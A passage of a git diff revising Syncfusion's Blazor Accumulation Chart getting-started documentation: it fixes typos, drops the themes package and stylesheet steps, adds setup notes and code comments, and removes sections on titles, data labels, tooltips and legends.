 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AccumulationChart)
 
-## Add title
-
-Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAccumulationChart.html#Syncfusion_Blazor_Charts_SfAccumulationChart_Title) property, a title to the accumulation chart is added to provide the user with quick information about the data plotted in the chart.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-</SfAccumulationChart>
-@code{
-    public class ChartData
-    {
-        public string Country { get; set; }
-        public double Medals { get; set; }
-    }
-
-    public List<ChartData> MedalDetails = new List<ChartData>
-    {
-        new ChartData { Country= "United States of America", Medals= 46 },
-        new ChartData { Country= "Great Britain", Medals= 27 },
-        new ChartData { Country= "China", Medals= 26 },
-        new ChartData { Country= "United Kingdom", Medals= 23 },
-        new ChartData { Country= "Australia", Medals= 16 },
-        new ChartData { Country= "India", Medals= 36 },
-        new ChartData { Country= "Nigeria", Medals= 12 },
-        new ChartData { Country= "Brazil", Medals= 20 },
-     };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhpjMhShUPfYVwX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Title in Blazor Accumulation Chart](images/getting-started/blazor-accumulation-chart-with-title.png)" %}
-
-## Add data label
-
-The data labels are added to improve the readability of the accumulation chart. This can be achieved by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationDataLabelSettings.html#Syncfusion_Blazor_Charts_AccumulationDataLabelSettings_Visible) property to `true` in the [AccumulationDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationDataLabelSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-            <AccumulationDataLabelSettings Visible="true"/>
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrJXWLorfzIwbIh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Data Label in Blazor Accumulation Chart](images/getting-started/blazor-accumulation-chart-data-label.png)" %}
-
-## Enable Tooltip
-
-When space constraints prevent from displaying the information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTooltipSettings.html#Syncfusion_Blazor_Charts_AccumulationChartTooltipSettings_Enable) property in [AccumulationChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTooltipSettings.html) to `true`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-    <AccumulationChartTooltipSettings Enable="true"></AccumulationChartTooltipSettings>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrJZMhyLfknWQpM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays Tooltip](images/getting-started/blazor-accumulation-chart-tooltip.png)" %}
-
-## Enable Legend
-
-Legend is used for the accumulation chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartLegendSettings.html#Syncfusion_Blazor_Charts_AccumulationChartLegendSettings_Visible) property to `true` in the [AccumulationChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartLegendSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-            <AccumulationDataLabelSettings Visible="true"></AccumulationDataLabelSettings>
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-    <AccumulationChartTooltipSettings Enable="true"></AccumulationChartTooltipSettings>
-    <AccumulationChartLegendSettings Visible="true"></AccumulationChartLegendSettings>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation component in your default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVzjCVSVyMUwbGm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Legend](images/getting-started/blazor-accumulation-chart-legend.png)" %}
-
 ## See also
 
 
diff --git a/blazor/accumulation-chart/getting-started-with-web-app.md b/blazor/accumulation-chart/getting-started-with-web-app.md
index ae6e6e127e..577bb98d41 100644
--- a/blazor/accumulation-chart/getting-started-with-web-app.md
+++ b/blazor/accumulation-chart/getting-started-with-web-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Accumulation Chart in Blazor Web App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -42,11 +42,17 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -74,22 +80,28 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
 This command creates a new Blazor Web App and places it in a new directory called `BlazorWebApp` inside your current location. See the [Create a Blazor App](https://dotnet.microsoft.com/en-us/learn/aspnet/blazor-tutorial/create) and [dotnet new CLI command](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?pivots=cli&view=aspnetcore-10.0) topics for more details.
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% endtabcontents %}
 
 N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-### Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
@@ -97,7 +109,6 @@ Alternatively, run the following commands in the Package Manager Console to achi
 {% highlight C# tabtitle="Package Manager" %}
 
 Install-Package Syncfusion.Blazor.Charts -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
@@ -110,6 +121,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -121,7 +134,7 @@ After the packages are installed, open the **~/_Imports.razor** file in the clie
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -137,30 +150,28 @@ builder.Services.AddSyncfusionBlazor();
 
 N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in **Program.cs** files of both the server and client projects in your Blazor Web App.
 
-## Add stylesheet and script resources
+## Add script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
 <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/Home.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveAuto
 
 {% endhighlight %}
@@ -169,55 +180,16 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfAccumulationChart is the root container component for the accumulation chart -->
 <SfAccumulationChart>
+    <!-- Container for defining chart series -->
     <AccumulationChartSeriesCollection>
+        <!-- AccumulationChartSeries defines a data series with its data source and axis mappings -->
         <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
         </AccumulationChartSeries>
     </AccumulationChartSeriesCollection>
 </SfAccumulationChart>
 
-@code{
-    public class ChartData
-    {
-        public string Country { get; set;}
-        public double Medals { get; set;}
-    }
-
-    public List<ChartData> MedalDetails = new List<ChartData>
-    {
-        new ChartData { Country= "United States of America", Medals= 46 },
-        new ChartData { Country= "Great Britain", Medals= 27 },
-        new ChartData { Country= "China", Medals= 26 },
-        new ChartData { Country= "United Kingdom", Medals= 23 },
-        new ChartData { Country= "Australia", Medals= 16 },
-        new ChartData { Country= "India", Medals= 36 },
-        new ChartData { Country= "Nigeria", Medals= 12 },
-        new ChartData { Country= "Brazil", Medals= 20 },
-     };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhzDWVeVKeUbWGh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](images/getting-started/blazor-pie-chart-webapp.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AccumulationChart)
-
-## Add title
-
-Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAccumulationChart.html#Syncfusion_Blazor_Charts_SfAccumulationChart_Title) property, a title to the accumulation chart is added to provide the user with quick information about the data plotted in the chart.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-</SfAccumulationChart>
 @code{
     public class ChartData
     {
@@ -241,74 +213,13 @@ Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhpjMhShUPfYVwX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Title in Blazor Accumulation Chart](images/getting-started/blazor-accumulation-chart-with-title.png)" %}
-
-## Add data label
-
-The data labels are added to improve the readability of the accumulation chart. This can be achieved by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationDataLabelSettings.html#Syncfusion_Blazor_Charts_AccumulationDataLabelSettings_Visible) property to `true` in the [AccumulationDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationDataLabelSettings.html).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-            <AccumulationDataLabelSettings Visible="true"/>
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrJXWLorfzIwbIh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Data Label in Blazor Accumulation Chart](images/getting-started/blazor-accumulation-chart-data-label.png)" %}
-
-## Enable Tooltip
-
-When space constraints prevent from displaying the information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTooltipSettings.html#Syncfusion_Blazor_Charts_AccumulationChartTooltipSettings_Enable) property in [AccumulationChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTooltipSettings.html) to `true`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-    <AccumulationChartTooltipSettings Enable="true"></AccumulationChartTooltipSettings>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrJZMhyLfknWQpM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays Tooltip](images/getting-started/blazor-accumulation-chart-tooltip.png)" %}
-
-## Enable Legend
-
-Legend is used for the accumulation chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartLegendSettings.html#Syncfusion_Blazor_Charts_AccumulationChartLegendSettings_Visible) property to `true` in the [AccumulationChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartLegendSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-            <AccumulationDataLabelSettings Visible="true"></AccumulationDataLabelSettings>
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-    <AccumulationChartTooltipSettings Enable="true"></AccumulationChartTooltipSettings>
-    <AccumulationChartLegendSettings Visible="true"></AccumulationChartLegendSettings>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the default web browser.
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation component in your default web browser.
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhzDWVeVKeUbWGh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](images/getting-started/blazor-pie-chart-webapp.webp)" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVzjCVSVyMUwbGm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Legend](images/getting-started/blazor-accumulation-chart-legend.png)" %}
+N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AccumulationChart)
 
 ## See also
 
-
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Assembly App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
diff --git a/blazor/accumulation-chart/getting-started.md b/blazor/accumulation-chart/getting-started.md
index fccaf05ad3..81fddde4b0 100644
--- a/blazor/accumulation-chart/getting-started.md
+++ b/blazor/accumulation-chart/getting-started.md
@@ -1,6 +1,6 @@
 ---
 layout: post
-title: Getting Stared with Blazor Accumulation Chart | Syncfusion
+title: Getting Started with Blazor Accumulation Chart | Syncfusion
 description: Checkout and learn about getting started with Blazor Accumulation Chart component in Blazor WebAssembly App.
 platform: Blazor
 control: Accumulation Chart
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Accumulation Chart Component
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAccumulationChart.html) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAccumulationChart.html) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -85,7 +85,7 @@ cd BlazorApp
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages into your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package into your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
@@ -93,7 +93,6 @@ Alternatively, run the following commands in the Package Manager Console to achi
 {% highlight C# tabtitle="Package Manager" %}
 
 Install-Package Syncfusion.Blazor.Charts -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
@@ -104,6 +103,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -115,7 +116,7 @@ After the packages are installed, open the **~/_Imports.razor** file and import
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -129,30 +130,32 @@ builder.Services.AddSyncfusionBlazor();
 {% endhighlight %}
 {% endtabs %}
 
-## Add stylesheet and script resources
+## Add script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
 <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Charts
 
+<!-- SfAccumulationChart is the root container component for the accumulation chart -->
 <SfAccumulationChart>
+    <!-- Container for defining chart series -->
     <AccumulationChartSeriesCollection>
+        <!-- AccumulationChartSeries defines a data series with its data source and axis mappings -->
         <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
         </AccumulationChartSeries>
     </AccumulationChartSeriesCollection>
@@ -183,109 +186,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Cha
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhzDWVeVKeUbWGh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](images/getting-started/blazor-pie-chart.png)" %}
-
-## Add title
-
-Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAccumulationChart.html#Syncfusion_Blazor_Charts_SfAccumulationChart_Title) property, a title to the accumulation chart is added to provide the user with quick information about the data plotted in the chart.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Charts
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-</SfAccumulationChart>
-@code{
-    public class ChartData
-    {
-        public string Country { get; set; }
-        public double Medals { get; set; }
-    }
-
-    public List<ChartData> MedalDetails = new List<ChartData>
-    {
-        new ChartData { Country= "United States of America", Medals= 46 },
-        new ChartData { Country= "Great Britain", Medals= 27 },
-        new ChartData { Country= "China", Medals= 26 },
-        new ChartData { Country= "United Kingdom", Medals= 23 },
-        new ChartData { Country= "Australia", Medals= 16 },
-        new ChartData { Country= "India", Medals= 36 },
-        new ChartData { Country= "Nigeria", Medals= 12 },
-        new ChartData { Country= "Brazil", Medals= 20 },
-     };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhpjMhShUPfYVwX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Title in Blazor Accumulation Chart](images/getting-started/blazor-accumulation-chart-with-title.png)" %}
-
-## Add data label
-
-The data labels are added to improve the readability of the accumulation chart. This can be achieved by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationDataLabelSettings.html#Syncfusion_Blazor_Charts_AccumulationDataLabelSettings_Visible) property to `true` in the [AccumulationDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationDataLabelSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfAccumulationChart Title="Olympic Medal Details">
-    <AccumulationChartSeriesCollection>
-        <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
-            <AccumulationDataLabelSettings Visible="true"/>
-        </AccumulationChartSeries>
-    </AccumulationChartSeriesCollection>
-</SfAccumulationChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrJXWLorfzIwbIh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Data Label in Blazor Accumulation Chart](images/getting-started/blazor-accumulation-chart-data-label.png)" %}
-
-## Enable Tooltip
-
